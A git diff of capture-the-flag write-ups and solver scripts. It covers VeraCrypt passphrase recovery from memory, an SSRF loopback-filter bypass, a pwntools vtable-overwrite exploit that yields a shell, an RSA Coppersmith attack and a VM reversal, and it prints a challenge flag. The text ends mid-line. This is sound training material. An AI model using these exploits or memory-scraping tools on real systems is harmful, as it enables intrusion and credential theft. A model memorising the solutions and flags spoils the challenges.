+ dec = cipher.decryptor() + return dec.update(ct) + dec.finalize() + + +def looks_like_boot_sector(pt: bytes) -> List[str]: + hits: List[str] = [] + if len(pt) < 512: + return hits + if pt[510:512] == b"\x55\xaa": + hits.append("55aa") + sig = pt[3:11] + if sig == b"NTFS ": + hits.append("NTFS") + if sig == b"EXFAT ": + hits.append("EXFAT") + if sig.startswith(b"FAT"): + hits.append(sig.decode("ascii", errors="ignore")) + if pt[0] in (0xEB, 0xE9) and pt[2] == 0x90: + hits.append("jmp") + return hits + + +def main() -> int: + ap = argparse.ArgumentParser(description="Probe VeraCrypt container using AES-XTS keys") + ap.add_argument("container", type=Path) + ap.add_argument("--key-a", required=True, help="32-byte hex key A") + ap.add_argument("--key-b", required=True, help="32-byte hex key B") + ap.add_argument( + "--offsets", + default="0,0x10000,0x20000", + help="Comma-separated file offsets to try (default: 0,0x10000,0x20000)", + ) + ap.add_argument( + "--tweak-bases", + default="auto", + help="Comma-separated sector numbers to try as tweak base, or 'auto' for 0 and offset/512", + ) + args = ap.parse_args() + + key_a = bytes.fromhex(args.key_a) + key_b = bytes.fromhex(args.key_b) + if len(key_a) != 32 or len(key_b) != 32: + raise SystemExit("Keys must be 32 bytes each (64 hex chars)") + + offsets: List[int] = [] + for part in args.offsets.split(","): + part = part.strip() + if not part: + continue + offsets.append(int(part, 0)) + + data = args.container.read_bytes() + + key_orders: List[Tuple[str, bytes]] = [ + ("A||B", key_a + key_b), + ("B||A", key_b + key_a), + ] + + for off in offsets: + if off + 512 > len(data): + continue + ct = data[off : off + 512] + + if args.tweak_bases.strip().lower() == "auto": + tweak_bases = sorted({0, off // 512}) + else: + tweak_bases = [] + for part in args.tweak_bases.split(","): + part = part.strip() + if not part: + continue + tweak_bases.append(int(part, 0)) + + for base in tweak_bases: + for label, xts_key in key_orders: + pt = decrypt_xts_sector(ct, xts_key, base) + hits = looks_like_boot_sector(pt) + if hits: + print( + f"[+] offset=0x{off:X} tweak={base} order={label} hits={','.join(hits)} sig={pt[3:11]!r}" + ) + print(pt[:64].hex()) + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) + diff --git a/HumanAI-Forensic-Hard/scripts/scan_vc_password_struct.py b/HumanAI-Forensic-Hard/scripts/scan_vc_password_struct.py new file mode 100644 index 0000000..b84e399 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/scan_vc_password_struct.py @@ -0,0 +1,101 @@ +import argparse +import os +import struct +from pathlib import Path +from typing import Iterable, Iterator, Tuple + + +def iter_input_files(paths: Iterable[str]) -> Iterator[Path]: + for p in paths: + path = Path(p) + if path.is_dir(): + for child in sorted(path.rglob("*")): + if child.is_file(): + yield child + elif path.is_file(): + yield path + + +def scan_password_structs( + data: bytes, *, min_len: int, max_len: int +) -> Iterator[Tuple[int, int, str]]: + """ + Heuristic scan for the (TrueCrypt/VeraCrypt) Password struct: + uint32 Length; char Text[...]; + + We look for: + 0x00 0x00 0x00 + + This mirrors volatility3's truecrypt passphrase finder which validates the + 3 bytes *after* the presumed NUL terminator but doesn't explicitly check + the terminator byte itself. + """ + mv = memoryview(data) + n = len(data) + min_total = 4 + min_len + 4 + if n < min_total: + return + + + unpack_from = struct.unpack_from + for i in range(0, n - min_total + 1): + (length,) = unpack_from(" max_len: + continue + + start = i + 4 + end = start + length + tail = end + 4 + if tail > n: + continue + + pw = mv[start:end] + + if any((c < 0x20 or c >= 0x7F) for c in pw): + continue + + if data[end + 1 : tail] != b"\x00\x00\x00": + continue + + try: + pw_str = pw.tobytes().decode("ascii") + except UnicodeDecodeError: + continue + + yield i, length, pw_str + + +def main() -> int: + ap = argparse.ArgumentParser() + ap.add_argument("paths", nargs="+", help="Files and/or directories to scan") + ap.add_argument("--min-len", type=int, default=5) + ap.add_argument("--max-len", type=int, default=64) + args = ap.parse_args() + + seen = set() + hits = 0 + for fp in iter_input_files(args.paths): + try: + data = fp.read_bytes() + except Exception as exc: + print(f"[!] Failed to read {fp}: {exc}") + continue + + for off, length, pw in scan_password_structs( + data, min_len=args.min_len, max_len=args.max_len + ): + key = (pw,) + if key in seen: + continue + seen.add(key) + hits += 1 + print(f"{fp}\t0x{off:X}\t{length}\t{pw}") + + if hits == 0: + print("[!] No candidates found") + return 2 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/HumanAI-Forensic-Hard/scripts/veracrypt.py b/HumanAI-Forensic-Hard/scripts/veracrypt.py new file mode 100644 index 0000000..339e86a --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/veracrypt.py @@ -0,0 +1,185 @@ + +import logging +from typing import Generator, Iterable, List, Tuple + +from volatility3.framework import constants, interfaces, objects, renderers +from volatility3.framework.configuration import requirements +from volatility3.framework.interfaces import configuration +from volatility3.framework.objects.utility import array_to_string +from volatility3.framework.renderers import format_hints +from volatility3.framework.symbols import intermed +from volatility3.framework.symbols.windows.extensions import pe +from volatility3.plugins.windows import modules + +vollog = logging.getLogger(__name__) + + +class Passphrase(interfaces.plugins.PluginInterface): + """VeraCrypt/TrueCrypt cached passphrase finder (driver .data scan).""" + + _version = (0, 1, 0) + _required_framework_version = (2, 5, 2) + + @classmethod + def get_requirements(cls) -> List[configuration.RequirementInterface]: + return [ + requirements.ModuleRequirement( + "kernel", + description="Windows kernel", + architectures=["Intel32", "Intel64"], + ), + requirements.VersionRequirement( + name="modules", component=modules.Modules, version=(3, 0, 0) + ), + requirements.IntRequirement( + name="min-length", + description="Minimum length of passphrases to identify", + default=5, + optional=True, + ), + requirements.StringRequirement( + name="driver", + description=( + "Driver name substring to scan (case-insensitive), " + "e.g. 'veracrypt', 'veracrypt-x64.sys', 'truecrypt.sys'" + ), + default="veracrypt", + optional=True, + ), + ] + + def scan_module( + self, module_base: int, layer_name: str + ) -> Generator[Tuple[int, str], None, None]: + pe_table_name = intermed.IntermediateSymbolTable.create( + self.context, self.config_path, "windows", "pe", class_types=pe.class_types + ) + dos_header: pe.IMAGE_DOS_HEADER = self.context.object( + pe_table_name + constants.BANG + "_IMAGE_DOS_HEADER", + layer_name, + module_base, + ) + + data_section: objects.StructType = next( + sec + for sec in dos_header.get_nt_header().get_sections() + if array_to_string(sec.Name) == ".data" + ) + base: int = data_section.VirtualAddress + module_base + size: int = data_section.Misc.VirtualSize + + # Looking at `Length` in TrueCrypt/Common/Password.h::Password struct + DWORD_SIZE_BYTES: int = 4 + fmt = objects.DataFormatInfo( + length=DWORD_SIZE_BYTES, byteorder="little", signed=True + ) + int32 = objects.templates.ObjectTemplate( + objects.Integer, pe_table_name + constants.BANG + "int", data_format=fmt + ) + count, not_aligned = divmod(size, DWORD_SIZE_BYTES) + if not_aligned: + raise ValueError("PE data section not DWORD-aligned!") + + lengths = self.context.object( + pe_table_name + constants.BANG + "array", + layer_name, + base, + count=count, + subtype=int32, + ) + + min_length = self.config.get("min-length") + for length in lengths: + + if not min_length <= length <= 64: + continue + + offset = length.vol["offset"] + DWORD_SIZE_BYTES + passphrase: objects.Bytes = self.context.object( + pe_table_name + constants.BANG + "bytes", + layer_name, + offset, + length=length, + ) + + + if not all(0x20 <= c < 0x7F for c in passphrase): + continue + + buf: objects.Bytes = self.context.object( + pe_table_name + constants.BANG + "bytes", + layer_name, + offset + length + 1, + length=3, + ) + if any(buf): + continue + + yield offset, passphrase.decode(encoding="ascii") + + def _find_driver_bases( + self, mods: Iterable[interfaces.objects.ObjectInterface] + ) -> List[int]: + driver_substr = (self.config.get("driver") or "").lower().strip() + + def matches(mod_name: str, needle: str) -> bool: + return needle and needle in mod_name + + def bases_for(needle: str) -> List[int]: + out: List[int] = [] + for mod in mods: + try: + name = mod.BaseDllName.get_string().lower() + except Exception: + continue + if matches(name, needle): + out.append(int(mod.DllBase)) + return out + + if driver_substr: + bases = bases_for(driver_substr) + if bases: + return bases + + for needle in ("veracrypt", "truecrypt"): + bases = bases_for(needle) + if bases: + return bases + + return [] + + def _generator(self): + kernel = self.context.modules[self.config["kernel"]] + mods: Iterable[interfaces.objects.ObjectInterface] = modules.Modules.list_modules( + self.context, self.config["kernel"] + ) + + driver_bases = self._find_driver_bases(mods) + if not driver_bases: + vollog.warning( + "No VeraCrypt driver module found in the modules list. Unable to proceed." + ) + return + + seen = set() + for module_base in driver_bases: + try: + for offset, password in self.scan_module(module_base, kernel.layer_name): + key = (offset, password) + if key in seen: + continue + seen.add(key) + yield (0, (format_hints.Hex(offset), len(password), password)) + except Exception as exc: + vollog.debug("Failed scanning module at 0x%x: %s", module_base, exc) + + def run(self) -> renderers.TreeGrid: + return renderers.TreeGrid( + [ + ("Offset", format_hints.Hex), + ("Length", int), + ("Password", str), + ], + self._generator(), + ) + diff --git a/LockholdPortalGuard-Web/README.md b/LockholdPortalGuard-Web/README.md new file mode 100644 index 0000000..822ac99 --- /dev/null +++ b/LockholdPortalGuard-Web/README.md @@ -0,0 +1,24 @@ +# Web 1.2 Страж Портала Локхолда + +В Портале Локхолда стоит Страж: он не пропускает запретные имена, но не знает истинных числовых титулов. Архимаг печатает свитки, и через печать можно заглянуть туда, куда запрещено смотреть. + +## Решение + +Фильтр блокирует строку `127.0.0.1`, но не все эквивалентные формы `loopback`-адреса. Если использовать числовое представление (`2130706433` или `0x7f000001`), проверка обходится, и рендерер открывает тот же локальный адрес. + +Дальше всё стандартно: вставляем URL в `iframe` внутри HTML-свитка, отправляем контент на `/seal` и получаем PDF с содержимым `flag.txt`. + +## Пример + +Вариант через `curl`: +```bash +curl -s -X POST http://localhost:8000/seal \ + -F 'content=

Королевский Указ

' \ + -F 'format=html' \ + -o scroll.pdf +``` + +Также можно воспользоваться готовым скриптом `solve/exploit.py`: +```bash +python solve/exploit.py http://localhost:8000 +``` diff --git a/LockholdPortalGuard-Web/exploit.py b/LockholdPortalGuard-Web/exploit.py new file mode 100644 index 0000000..0907d23 --- /dev/null +++ b/LockholdPortalGuard-Web/exploit.py @@ -0,0 +1,27 @@ +import sys +import requests + + +def main(): + base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000" + payload = """ +

Королевский Указ

+

Приложение: донесение из Локхолда

+ +""".strip() + + resp = requests.post( + f"{base}/seal", + data={"content": payload, "format": "html"}, + timeout=10, + ) + resp.raise_for_status() + + with open("scroll.pdf", "wb") as f: + f.write(resp.content) + + print("saved scroll.pdf") + + +if __name__ == "__main__": + main() diff --git a/OxidePool-PWN/README.md b/OxidePool-PWN/README.md new file mode 100644 index 0000000..d6b09f6 --- /dev/null +++ b/OxidePool-PWN/README.md @@ -0,0 +1,95 @@ +# OxidePool + +НУ ооочень простой протокол обмена сообщениями.... + +## Протокол + +Сетевой протокол little-endian, пакет имеет такой layout: +`op:u8 flags:u8 seq:u16 len:u16 csum:u16` + `payload` + +, где `csum` — сумма всех байтов payload по модулю `2^16`. + +Команды: +- `0x10 HELLO`, payload: empty. + - Ответ: `nonce:u64` + `version:u32`. +- `0x11 AUTH`, payload: `token:u64`, где `token = nonce ^ 0xC0DEC0DEC0DEC0DE`. +- `0x20 ALLOC`, payload: `count:u16` (количество аллокаций в сессии). +- `0x21 FREE`, payload: `idx:u16` (освобождение слота). +- `0x22 SELECT`, payload: `idx:u16` (выбор активного слота). +- `0x30 WRITE`, payload: `offset:u16`, `len:u16`, `data[len]`. + - Работает если выставлен флаг `flags & 1`. +- `0x31 TRIGGER`, payload: empty (запускает handler). +- `0x40 LEAK`, payload: `stage:u8` (`0` или `1`). + +## Идея эксплойта + +Уязвимость в `Session` связана с неверной проверкой границ в `WRITE`: + +- layout структуры: + +```text +[ buf: [u8; 0xFFF0] ][ handler: Box ][ guard: u64 ] +``` + +- проверка границы идёт через `u16`: + +```rust +let end = offset.wrapping_add(data.len() as u16); +if end <= BUF_SIZE as u16 { + ptr::copy(data.as_ptr(), buf.add(offset as usize), data.len()); +} +``` + +Из-за `wrapping_add` и `u16` `end` переполняется, и запись с `offset=0xFFF0`, `len=16` проходит проверку, хотя фактически выходит за `buf`. + +Это даёт OOB overwrite в `handler` (fat pointer: data ptr + vtable ptr) и позволяет переписать `vtable` на адрес из утёкших данных после декодирования. + +ASLR/PIE включены, поэтому нужен leak ключа шифрования для расшифровки указателей. + +## Решение + +1. Сделать `HELLO` + - Отправить `0x10 HELLO`. + - Получить `nonce`. + +2. Аутентифицироваться + - Отправить `0x11 AUTH` с токеном `nonce ^ 0xC0DEC0DEC0DEC0DE`. + - Получить обычный ACK. + +3. Построить/подготовить session (`heap grooming`) + - `ALLOC` на 5 слотов (`count=5`). + - `FREE` одного слота (`idx=1`). + - `SELECT` слота с индексом 0 (`idx=0`). + +4. Вытянуть замаскированные указатели через LEAK + - `LEAK` с `stage=0` -> получаем `masked_data` и `masked_vtable`. + - `LEAK` с `stage=1` -> получаем `key_hint`. + +5. Вычислить XOR-ключ. Например, это можно сделать следующим образом: + ```python + key = key_hint ^ (nonce + 0x9E3779B97F4A7C15) + key = ror(key, 11) + ``` + Где `ror` — циклический сдвиг вправо на 11 бит в 64-битах. + +6. Расшифровать реальные поля: + ```python + data = masked_data ^ key + vtable = masked_vtable ^ key + ``` + Тут `data` указывает на управляемый буфер, `vtable` — легитимный указатель на dispatch таблицу. + +7. Записать OOB-переписыванием fat pointer + - Сформировать payload: + - `offset = 0xFFF0` + - `len = 16` + - `data = p64(data) + p64(vtable)` + - Отправить `0x30 WRITE` с `flags=1`. + + За счёт переполнения `end` запись уходит в область после буфера и перезаписывает указатель обработчика на контролируемые значения. + +8. Вызвать обработчик + - Отправить `0x31 TRIGGER`. + - Должен отработать изменённый callback. + +9. Получить доступ к shell. diff --git a/OxidePool-PWN/solve.py b/OxidePool-PWN/solve.py new file mode 100644 index 0000000..534e46f --- /dev/null +++ b/OxidePool-PWN/solve.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python3 +from pwn import * + +context.binary = None +context.log_level = "info" + +HOST = args.HOST or "127.0.0.1" +PORT = int(args.PORT or 31337) + +BUF_SIZE = 0xFFF0 + + +def checksum(data: bytes) -> int: + return sum(data) & 0xFFFF + + +def pack_pkt(op: int, seq: int, payload: bytes = b"", flags: int = 0) -> bytes: + hdr = p8(op) + p8(flags) + p16(seq) + p16(len(payload)) + p16(checksum(payload)) + return hdr + payload + + +def recv_reply(io): + hdr = io.recvn(8) + op = hdr[0] + seq = u16(hdr[2:4]) + ln = u16(hdr[4:6]) + csum = u16(hdr[6:8]) + payload = io.recvn(ln) + if checksum(payload) != csum: + log.failure("bad checksum") + return op, seq, payload + + +def main(): + io = remote(HOST, PORT) + seq = 1 + + io.send(pack_pkt(0x10, seq)) + _, _, payload = recv_reply(io) + nonce = u64(payload[0:8]) + log.info(f"nonce=0x{nonce:x}") + seq += 1 + + token = nonce ^ 0xC0DEC0DEC0DEC0DE + io.send(pack_pkt(0x11, seq, p64(token))) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x20, seq, p16(5))) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x21, seq, p16(1))) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x22, seq, p16(0))) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x40, seq, b"\x00")) + _, _, payload = recv_reply(io) + masked_data = u64(payload[0:8]) + masked_vtable = u64(payload[8:16]) + seq += 1 + + io.send(pack_pkt(0x40, seq, b"\x01")) + _, _, payload = recv_reply(io) + key_hint = u64(payload[0:8]) + seq += 1 + + key = (key_hint ^ (nonce + 0x9E3779B97F4A7C15)) + key = ((key >> 11) | (key << (64 - 11))) & 0xFFFFFFFFFFFFFFFF + + data = masked_data ^ key + vtable = masked_vtable ^ key + log.info(f"data=0x{data:x} vtable=0x{vtable:x}") + + payload = p16(BUF_SIZE) + p16(16) + p64(data) + p64(vtable) + io.send(pack_pkt(0x30, seq, payload, flags=1)) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x31, seq)) + io.interactive() + + +if __name__ == "__main__": + main() diff --git a/README.md b/README.md new file mode 100644 index 0000000..65f0f2c --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# Герои Кодекса + +Райтапы для заданий с Героев Кодекса, проходивших 22.02.2026 \ No newline at end of file diff --git a/RSA-Crypto/README.md b/RSA-Crypto/README.md new file mode 100644 index 0000000..1dc4629 --- /dev/null +++ b/RSA-Crypto/README.md @@ -0,0 +1,62 @@ +# Crypto-RSA + +Слухи в Таверне гласят: кто найдёт Грааль, тот получит бесконечный запас маны и золота. + +Некромант Сандро путешествует по Эрафии в поисках Грааля. Координаты сокровища надёжно зашифрованы могущественным заклинанием RSA. Чтобы снять защиту, нужно знать точное расположение всех Обелисков, которые формируют секретный магический фокус. Сандро успел посетить 6 из 8 Обелисков. Теперь он знает старшие биты магической координаты, но правый нижний угол карты всё ещё скрыт "Туманом войны". Не сумев полностью открыть карту, некромант в ярости бросил зашифрованный свиток и обрывок карты с открытыми Обелисками. + +Разведчики передали эти данные вам. Сможете ли вы рассеять Туман войны, полностью восстановить координату и забрать Грааль до того, как Сандро вернётся с армией скелетов? + +` +N = 10478327092484087119158811738002527881601133392230605359728636777609815579869678283867331428873702230467781035800930319302134425662634483320132982489385831425841142683276245240139807770094242769842712285436324254272792640567220605759816440095519657990655930770697233495280191856795686977028814794477226478424022094334917595550943153970859743416443075466307652568512202801367425261698533904718831085305741122872685782348491901469147144819542733684143982118060593950861934225209591938661726842353411448979388331957984491039941720316208753034352185033359022438790970437880769652134820269624136545195696512412902086547737 +` +` +e = 65537 +` +` +c = 2371908478747310630059898986871876272895367385836679471620653994043895929391935759268461102073140210469448513517093388784915155590867680910861238126882230573331605292181787234136901129322001225804993239553253815115175454153650336400717451897405778509283155936103207023688258230128247475695422393595702338795973073870189334970154365471517517328052432202583617568778188997290909337026276528139911107673782208700833801910261741350704957213863331988920136397794697512939924729956005535011011328130093021943779761037406840279182736278184729352019628495185205816545145747722511667416937357754661788964429902091376671458313 +` +` +p_revealed = 103537519170277717476703855704210234988984256477016725267975201195283786500355490562158033894185780133509016924890164868577876427195910662513213720292660530388165461591925825231155280679347647383014480743406031945282107222824466834575211761120068458069640414044465161781503967875409303695137308078472563785728 +` + + + +## Идея атаки + +Нам даны стандартные параметры RSA: $N$, $e$ и шифротекст $c$. Однако ключевая особенность кроется в значении `p_revealed`. + +Разрядность $N$ - около 2048 бит (617 десятичных знаков). Нам дана часть одного из множителей ($p$). Если известна значительная часть бит одного из множителей (обычно более половины бит фактора), можно восстановить весь фактор методами поиска малых корней многочленов. + +`f(x) = p_revealed + x (mod N)`. + +Поскольку нам известны старшие биты $p$, мы имеем дело с задачей Partial Key Exposure. Согласно теореме Копперсмита, если мы знаем около $1/2$ бит фактора $p$ (для $p \approx \sqrt{N}$ это составляет $1/4$ бит от всего $N$), то можем найти недостающую часть за полиномиальное время. + +### Математическая модель + +Пусть $p = p_{revealed} + x$, где $x$ - неизвестная младшая часть (тот самый "Туман войны"). Ищем корень $x_0$ для полинома: + +$$f(x) = p_{revealed} + x$$ + +по модулю некоторого неизвестного делителя $N$. В среде SageMath метод `small_roots()` позволяет находить такие корни, если выполняется условие $x < N^{0.25}$. В нашем случае $N \approx 2^{2048}$, следовательно, можно восстановить до 512 бит. У нас скрыто 448 бит, что идеально вписывается в границы применимости метода. + +### Алгоритм действий в скрипте + +Определяем кольцо многочленов над $\mathbb{Z}_N$. Задаём полином $f(x) = x + p_{revealed}$. Находим корень $x_0$ через LLL-редукцию (инкапсулировано в `small_roots`). Вычисляем $p = p_{revealed} + x_0$, находим $q = N / p$ и восстанавливаем секретную экспоненту $d$. + +## Готовый solver + +Готовый файл с скриптом решения: `solve.sage`. Он: +- парсит `task.txt`; +- запускает `small_roots` для `f(x)`; +- восстанавливает `p`, `q`, `d`; +- печатает флаг. + +Запустить его можно следующим образом: +```bash +sage writeup/solve.sage public/task.txt +``` + +Таким образом получим флаг: +``` +caplag{N3cr0m4nc3rs_us3_Fr4nkl1n_R31t3r_4tt4ck} +``` diff --git a/RSA-Crypto/solve.sage b/RSA-Crypto/solve.sage new file mode 100644 index 0000000..fde0495 --- /dev/null +++ b/RSA-Crypto/solve.sage @@ -0,0 +1,63 @@ +#!/usr/bin/env sage +# -*- coding: utf-8 -*- + +import re +import sys + + +def parse_task(path): + text = open(path, "r", encoding="utf-8").read() + + def pick(name): + m = re.search(rf"^{name}\s*=\s*([0-9]+)\s*$", text, re.MULTILINE) + if not m: + raise RuntimeError(f"cannot find {name} in {path}") + return Integer(m.group(1)) + + N = pick("N") + e = pick("e") + c = pick("c") + p_revealed = pick("p_revealed") + return N, e, c, p_revealed + + +def main(): + task_path = sys.argv[1] if len(sys.argv) > 1 else "public/task.txt" + N, e, c, p_revealed = parse_task(task_path) + + # From src/chal.py + hidden_bits = 448 + X = 2 ** hidden_bits + + print(f"[*] N bits: {N.nbits()}") + print(f"[*] hidden bits: {hidden_bits}") + print("[*] running Coppersmith small_roots...") + + R = Zmod(N) + P. = PolynomialRing(R) + f = x + p_revealed + + roots = f.small_roots(X=X, beta=0.4) + if not roots: + raise RuntimeError("small_roots found no solution") + + x0 = Integer(roots[0]) + p = Integer(p_revealed + x0) + if N % p != 0: + raise RuntimeError("candidate p does not divide N") + + q = Integer(N // p) + phi = (p - 1) * (q - 1) + d = Integer(inverse_mod(e, phi)) + m = Integer(power_mod(c, d, N)) + m_int = int(m) + flag = m_int.to_bytes((m_int.bit_length() + 7) // 8, "big") + + try: + print(flag.decode("utf-8")) + except Exception: + print(flag) + + +if __name__ == "__main__": + main() diff --git a/SuiGeneris-Reverse/README.md b/SuiGeneris-Reverse/README.md new file mode 100644 index 0000000..528bc46 --- /dev/null +++ b/SuiGeneris-Reverse/README.md @@ -0,0 +1,163 @@ +# SuiGeneris + +Это не x86. Это не ARM. Это нечто sui generis — единственное в своём роде. + +## Разбор решения + +В начале нам выдается `vm_runner` и `firmware.bin` + +Попытаемся проверить что делает и для чего задействован бинарь: +```bash +file vm_runner +strings -n 5 vm_runner | head -n 20 +./vm_runner +./vm_runner firmware.bin +``` + +Так получим, что, во-первых, это **ELF x86_64**. Также заметим, если не передать никаких аргументов, тогда бинарник напечатает: `usage: %s firmware.bin`. И, наконец, если в качестве аргумента воспользуемся файлов с прошивкой, тогда у нас попросит ввести флаг `Enter flag:` и затем получим ответ `Correct!` или `Wrong.`. + +То есть задача сводится к тому, чтобы понять, как именно раннер валидирует ввод. + +Изучим функцию загрузки прошивки. Для этого обратимся к строкам `bad firmware header` и `failed to load firmware`. Там обнаружим следующие факты: +- сначала читаются 24 байта заголовка; +- проверяются `magic` и `version`; +- потом читаются `code_len` и `data_len` 32-битных слов. + +Общий формат заголовка выглядит следующим образом: + +| Поле | Тип | Назначение | +| --- | --- | --- | +| `magic` | `uint32_t` | Сигнатура прошивки | +| `version` | `uint32_t` | Версия формата | +| `code_len` | `uint32_t` | Длина code-секции (в словах) | +| `data_len` | `uint32_t` | Длина data-секции (в словах) | +| `flag_len` | `uint32_t` | Ожидаемая длина флага | +| `target` | `uint32_t` | Целевой параметр проверки | + +Выполним быструю проверку: +```python +import struct +from pathlib import Path + +b = Path("firmware.bin").read_bytes() +magic, version, code_len, data_len, flag_len, target = struct.unpack("<6I", b[:24]) +print(hex(magic), version, code_len, data_len, flag_len, hex(target)) +print("file_size", len(b)) +print("expected", 24 + 4 * code_len + 4 * data_len) +``` + +В цикле исполнения декод инструкции такой: + +| Поле | Формула извлечения | Биты | +| --- | --- | --- | +| `dst` | `insn & 0xFFF` | `0..11` | +| `src` | `(insn >> 12) & 0xFFF` | `12..23` | +| `guard` | `(insn >> 24) & 0xFF` | `24..31` | + +То есть инструкция кодируется как: + +```text +MOVE: dst | (src << 12) | (guard << 24) +``` + +Логику `guard` удобнее воспринимать как развилку: + +```mermaid +flowchart TD + B{guard == 0xFF?} + B -- Да --> C[Выполнить команду] + B -- Нет --> D{R_guard even} + D -- Да --> E[Пропустить команду] + D -- Нет --> C +``` +> `guard = 0xFF` всегда запускает команду; иначе команда выполняется только при нечётном `R[guard]`. + +Сформируем карту портов. Восстановим её из `read_src`/`write_dst`: + +| Блок | Порты | Назначение | +| --- | --- | --- | +| Registers | `0x00..0x0F` | `R0..R15` | +| ALU | `0x10`, `0x11`, `0x12` | `A`, `B/trigger`, `OUT` | +| MUL | `0x20`, `0x21`, `0x22` | `A`, `B/trigger`, `OUT` | +| ROT | `0x30`, `0x31`, `0x32` | `A`, `S/trigger`, `OUT` | +| PRNG | `0x40`, `0x41`, `0x42` | `seed`, `step/trigger`, `OUT` | +| HASH | `0x60`, `0x61`, `0x62` | `A`, `B/trigger`, `OUT` | +| INPUT | `0x51` | Чтение байтов введенного флага | +| CONST | `0x90` | Чтение 32-битных слов из `data[]` | +| OUTPUT | `0x52` | Буфер выхода VM | + +Теперь попытаемся определить, что делают блоки `ALU/MUL/ROT/HASH/PRNG`. Семантика из `write_dst`: +```c +alu(a,b) = a + b +mul(a,b) = a + b +rot(a,s) = rol(a, s) +hash(a,b) = a + b + 0x9E3779B9 +prng(x,t) = xorshift32(x ^ t) +``` +чтение `*_OUT` просто возвращает последнее значение. Никакой блокировки чтения по `ready` тут нет + +После выполнения VM в `main` идет финальная проверка: + +- считается `output_base = 3 + 3 * flag_len`; +- проверяется, что длина `data[]` достаточна; +- сравниваются `vm.output_buf` и хвост `data[]`; +- дополнительно сравнивается `R15` с отдельным словом `target2`. + +Из этого получается такой `layout`: + +| Смещение в `data[]` | Содержимое | +| --- | --- | +| `0` | `seed` для `R14` | +| `1` | `seed` для `R15` | +| `2` | `seed` для `PRNG` | +| `3..(3 + 3*flag_len - 1)` | Константы `c_mul`, `c_rot`, `c_tw` | +| далее `flag_len` слов | `expected_output` | +| последнее слово | `target2` (целевое значение `R15`) | + +Если декодировать блок кода VM, он повторяется для каждого байта ввода. +Псевдокод получается такой: + +```text +R14 = seed_r14 +R15 = seed_r15 +PRNG = seed_prng +MUL_OUT = 0 + +for i in 0..n-1: + byte = input[i] + + stale_mul = MUL_OUT + stale_prng = PRNG + + MUL_OUT = byte + c_mul[i] + rot = rol(R14, c_rot[i]) + alu = rot + stale_prng + R14 = hash(stale_mul, alu) + + PRNG = prng(PRNG, c_tw[i]) + R15 = hash(R15, byte) + + OUTPUT[i] = R15 +``` + +В прошивке лежит полный массив `OUTPUT`, а это просто последовательные значения `R15`. Обновление регистра: + +```text +R15_next = R15_prev + byte + 0x9E3779B9 +``` + +Отсюда напрямую: + +```text +byte = R15_next - R15_prev - 0x9E3779B9 +``` + +Проходим по всем `OUTPUT[i]`, для каждого считаем `byte`, проверяем что это диапазон `0..255`, и получаем весь флаг. + +### Автоматический solver + +В репозитории также прикреплен файл с авторешением: `solver.py`. Запуск можно осуществить при помощи команды: + +```bash +python3 solve/solver.py firmware.bin +``` \ No newline at end of file diff --git a/SuiGeneris-Reverse/solver.py b/SuiGeneris-Reverse/solver.py new file mode 100644 index 0000000..9e99460 --- /dev/null +++ b/SuiGeneris-Reverse/solver.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import struct +from pathlib import Path + + +MAGIC_TTAB = 0x42415454 # 'TTAB' +HDR_FMT = "<6I" + + +def rol32(x: int, r: int) -> int: + r &= 31 + return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF + + +def prng_step(state: int, tweak: int) -> int: + x = (state ^ tweak) & 0xFFFFFFFF + x ^= (x << 13) & 0xFFFFFFFF + x ^= (x >> 17) & 0xFFFFFFFF + x ^= (x << 5) & 0xFFFFFFFF + return x & 0xFFFFFFFF + + +def alu_op_int(a: int, b: int) -> int: + return (a + b) & 0xFFFFFFFF + + +def hash_op_int(a: int, b: int) -> int: + return (a + b + 0x9E3779B9) & 0xFFFFFFFF + + +def load_firmware(path: Path): + blob = path.read_bytes() + if len(blob) < struct.calcsize(HDR_FMT): + raise ValueError("firmware too small") + magic, version, code_len, data_len, flag_len, target = struct.unpack_from(HDR_FMT, blob, 0) + if magic != MAGIC_TTAB or version != 1: + raise ValueError("bad firmware header") + + off = struct.calcsize(HDR_FMT) + code_sz = code_len * 4 + data_sz = data_len * 4 + if len(blob) < off + code_sz + data_sz: + raise ValueError("truncated firmware") + + code = list(struct.unpack_from(f"<{code_len}I", blob, off)) + off += code_sz + data = list(struct.unpack_from(f"<{data_len}I", blob, off)) + return { + "code": code, + "data": data, + "flag_len": flag_len, + "target": target, + } + + +def solve( + fw, + prefix: str | None, + suffix: str | None, + alphabet: str | None, + no_format: bool, +) -> bytes: + data = fw["data"] + flag_len = fw["flag_len"] + target = fw["target"] + if flag_len < 2 or len(data) < 4: + raise ValueError("bad firmware constants") + + seed_r14 = data[0] + seed_r15 = data[1] + seed_prng = data[2] + + output_base = 3 + 3 * flag_len + if len(data) < output_base + flag_len + 1: + raise ValueError("bad firmware layout") + + consts = data[3:output_base] + c_mul = consts[0::3] + c_rot = consts[1::3] + c_tw = consts[2::3] + + outputs = data[output_base:output_base + flag_len] + target2 = data[output_base + flag_len] + + recovered = [] + r15 = seed_r15 + for out in outputs: + b = (out - r15 - 0x9E3779B9) & 0xFFFFFFFF + if b > 0xFF: + raise RuntimeError("invalid output stream: byte out of range") + recovered.append(b) + r15 = out + + flag = bytes(recovered) + + # format constraints + if not no_format: + if prefix is None or suffix is None or alphabet is None: + raise ValueError("format constraints require prefix/suffix/alphabet") + if not flag.startswith(prefix.encode("ascii")): + raise RuntimeError("prefix mismatch") + if not flag.endswith(suffix.encode("ascii")): + raise RuntimeError("suffix mismatch") + mid = flag[len(prefix): len(flag) - len(suffix)] + alpha = set(alphabet.encode("ascii")) + if any(ch not in alpha for ch in mid): + raise RuntimeError("alphabet mismatch") + + # verify accumulators match firmware targets + prng = seed_prng + r14 = seed_r14 + r15 = seed_r15 + mul_out = 0 + for i, ch in enumerate(flag): + stale_mul = 